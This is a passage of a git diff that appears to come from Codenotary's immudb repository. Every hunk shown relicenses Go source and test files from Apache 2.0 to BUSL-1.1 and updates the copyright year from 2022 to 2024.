2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/user_test.go b/pkg/auth/user_test.go index c6f84a98b8..bac2acca15 100644 --- a/pkg/auth/user_test.go +++ b/pkg/auth/user_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/auditor/auditor.go b/pkg/client/auditor/auditor.go index 4ba28ae25b..393b71077d 100644 --- a/pkg/client/auditor/auditor.go +++ b/pkg/client/auditor/auditor.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/auditor/auditor_test.go b/pkg/client/auditor/auditor_test.go index 47dead74ff..65713758e3 100644 --- a/pkg/client/auditor/auditor_test.go +++ b/pkg/client/auditor/auditor_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/auditor/monitoring_server.go b/pkg/client/auditor/monitoring_server.go index 384714a95d..45fc0d296f 100644 --- a/pkg/client/auditor/monitoring_server.go +++ b/pkg/client/auditor/monitoring_server.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/auditor/monitoring_server_test.go b/pkg/client/auditor/monitoring_server_test.go index d45d3c2541..ebbf400047 100644 --- a/pkg/client/auditor/monitoring_server_test.go +++ b/pkg/client/auditor/monitoring_server_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/cache/cache.go b/pkg/client/cache/cache.go index 91de62855f..92d1fc8340 100644 --- a/pkg/client/cache/cache.go +++ b/pkg/client/cache/cache.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/cache/common.go b/pkg/client/cache/common.go index f778c63b69..9c41d2ead5 100644 --- a/pkg/client/cache/common.go +++ b/pkg/client/cache/common.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/cache/common_test.go b/pkg/client/cache/common_test.go index 7a0cb56a6f..fd765fbe8c 100644 --- a/pkg/client/cache/common_test.go +++ b/pkg/client/cache/common_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/cache/errors.go b/pkg/client/cache/errors.go index 984457f261..f7e6c5e306 100644 --- a/pkg/client/cache/errors.go +++ b/pkg/client/cache/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/cache/file_cache.go b/pkg/client/cache/file_cache.go index 38dd6fcc4f..09196b23ec 100644 --- a/pkg/client/cache/file_cache.go +++ b/pkg/client/cache/file_cache.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/cache/history_file_cache.go b/pkg/client/cache/history_file_cache.go index a8f54d857c..0f448a229d 100644 --- a/pkg/client/cache/history_file_cache.go +++ b/pkg/client/cache/history_file_cache.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/cache/history_file_cache_test.go b/pkg/client/cache/history_file_cache_test.go index da5be2b002..45095679dd 100644 --- a/pkg/client/cache/history_file_cache_test.go +++ b/pkg/client/cache/history_file_cache_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/cache/inmemory_cache.go b/pkg/client/cache/inmemory_cache.go index c6a52857bc..346cc22076 100644 --- a/pkg/client/cache/inmemory_cache.go +++ b/pkg/client/cache/inmemory_cache.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/cache/inmemory_cache_test.go b/pkg/client/cache/inmemory_cache_test.go index db8bc052fc..d706580ab3 100644 --- a/pkg/client/cache/inmemory_cache_test.go +++ b/pkg/client/cache/inmemory_cache_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/client.go b/pkg/client/client.go index b9f4efa1ad..0f94d14bd1 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/client_test.go b/pkg/client/client_test.go index f1b3bc9edb..0e9a25b8b5 100644 --- a/pkg/client/client_test.go +++ b/pkg/client/client_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/clienttest/homedir_mock.go b/pkg/client/clienttest/homedir_mock.go index 79223a016b..44170c8717 100644 --- a/pkg/client/clienttest/homedir_mock.go +++ b/pkg/client/clienttest/homedir_mock.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/clienttest/immuServiceClient_mock.go b/pkg/client/clienttest/immuServiceClient_mock.go index 201725d5f9..edf04716a4 100644 --- a/pkg/client/clienttest/immuServiceClient_mock.go +++ b/pkg/client/clienttest/immuServiceClient_mock.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/clienttest/immuclient_mock.go b/pkg/client/clienttest/immuclient_mock.go index 24a18ee80c..7914afb8ed 100644 --- a/pkg/client/clienttest/immuclient_mock.go +++ b/pkg/client/clienttest/immuclient_mock.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/clienttest/immuclient_mock_test.go b/pkg/client/clienttest/immuclient_mock_test.go index e46edeb2de..63a31af719 100644 --- a/pkg/client/clienttest/immuclient_mock_test.go +++ b/pkg/client/clienttest/immuclient_mock_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/clienttest/password_reader_mock.go b/pkg/client/clienttest/password_reader_mock.go index 1c2c4cf25a..26e37e4c57 100644 --- a/pkg/client/clienttest/password_reader_mock.go +++ b/pkg/client/clienttest/password_reader_mock.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/clienttest/terminal_reader_mock.go b/pkg/client/clienttest/terminal_reader_mock.go index 8ab49d0ddb..aa48376a43 100644 --- a/pkg/client/clienttest/terminal_reader_mock.go +++ b/pkg/client/clienttest/terminal_reader_mock.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/clienttest/token_service_mock.go b/pkg/client/clienttest/token_service_mock.go index c0433711e7..61f5005d96 100644 --- a/pkg/client/clienttest/token_service_mock.go +++ b/pkg/client/clienttest/token_service_mock.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/errors.go b/pkg/client/errors.go index 6d3908d66e..7d0386e590 100644 --- a/pkg/client/errors.go +++ b/pkg/client/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/errors/errors.go b/pkg/client/errors/errors.go index 0fdc13809a..7e61688bc6 100644 --- a/pkg/client/errors/errors.go +++ b/pkg/client/errors/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/errors/meta.go b/pkg/client/errors/meta.go index f2cb7a28bb..fd8064a352 100644 --- a/pkg/client/errors/meta.go +++ b/pkg/client/errors/meta.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/get_options.go b/pkg/client/get_options.go index d97fcc9d5d..06af76236c 100644 --- a/pkg/client/get_options.go +++ b/pkg/client/get_options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/get_options_test.go b/pkg/client/get_options_test.go index 18081ac2a1..16763959b4 100644 --- a/pkg/client/get_options_test.go +++ b/pkg/client/get_options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/heartbeater.go b/pkg/client/heartbeater.go index d137c684f7..561cb7b196 100644 --- a/pkg/client/heartbeater.go +++ b/pkg/client/heartbeater.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/homedir/homedir.go b/pkg/client/homedir/homedir.go index 1187802cd7..5ae34b4fd3 100644 --- a/pkg/client/homedir/homedir.go +++ b/pkg/client/homedir/homedir.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/homedir/homedir_test.go b/pkg/client/homedir/homedir_test.go index c416a89cf3..eb08e1199c 100644 --- a/pkg/client/homedir/homedir_test.go +++ b/pkg/client/homedir/homedir_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/illegal_state_handler_interceptor.go b/pkg/client/illegal_state_handler_interceptor.go index 87a064dc06..993e690b81 100644 --- a/pkg/client/illegal_state_handler_interceptor.go +++ b/pkg/client/illegal_state_handler_interceptor.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/mtls_options.go b/pkg/client/mtls_options.go index ca7f6bead8..b8036f4a02 100644 --- a/pkg/client/mtls_options.go +++ b/pkg/client/mtls_options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/options.go b/pkg/client/options.go index ccc517f4d6..9d4d5eaa24 100644 --- a/pkg/client/options.go +++ b/pkg/client/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/options_test.go b/pkg/client/options_test.go index 56d43a7141..bf350318c1 100644 --- a/pkg/client/options_test.go +++ b/pkg/client/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/session_id_injector_interceptor.go b/pkg/client/session_id_injector_interceptor.go index cb207752b0..47ba945873 100644 --- a/pkg/client/session_id_injector_interceptor.go +++ b/pkg/client/session_id_injector_interceptor.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/session_test.go b/pkg/client/session_test.go index c7b995706a..8ab212126b 100644 --- a/pkg/client/session_test.go +++ b/pkg/client/session_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/signature_verifier_interceptor.go b/pkg/client/signature_verifier_interceptor.go index 25e5547518..e47d4499b0 100644 --- a/pkg/client/signature_verifier_interceptor.go +++ b/pkg/client/signature_verifier_interceptor.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/sql.go b/pkg/client/sql.go index 0299cd0c61..4b042a994e 100644 --- a/pkg/client/sql.go +++ b/pkg/client/sql.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/sql_test.go b/pkg/client/sql_test.go index 0ca5ea4e81..3672a10865 100644 --- a/pkg/client/sql_test.go +++ b/pkg/client/sql_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/state/immudb_uuid_provider.go b/pkg/client/state/immudb_uuid_provider.go index f97a9602ad..2a7bcca384 100644 --- a/pkg/client/state/immudb_uuid_provider.go +++ b/pkg/client/state/immudb_uuid_provider.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/state/immudb_uuid_provider_test.go b/pkg/client/state/immudb_uuid_provider_test.go index 9e45cedfc4..a84391d618 100644 --- a/pkg/client/state/immudb_uuid_provider_test.go +++ b/pkg/client/state/immudb_uuid_provider_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/state/state_provider.go b/pkg/client/state/state_provider.go index a0683c6629..3d8c2fde8c 100644 --- a/pkg/client/state/state_provider.go +++ b/pkg/client/state/state_provider.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/state/state_service.go b/pkg/client/state/state_service.go index 52058916af..f57ad45a1c 100644 --- a/pkg/client/state/state_service.go +++ b/pkg/client/state/state_service.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/state/state_service_test.go b/pkg/client/state/state_service_test.go index ef32f7cf22..31c0490918 100644 --- a/pkg/client/state/state_service_test.go +++ b/pkg/client/state/state_service_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/client/stream_replication.go b/pkg/client/stream_replication.go index 26222890e6..afdf8fdccd 100644 --- a/pkg/client/stream_replication.go +++ b/pkg/client/stream_replication.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - 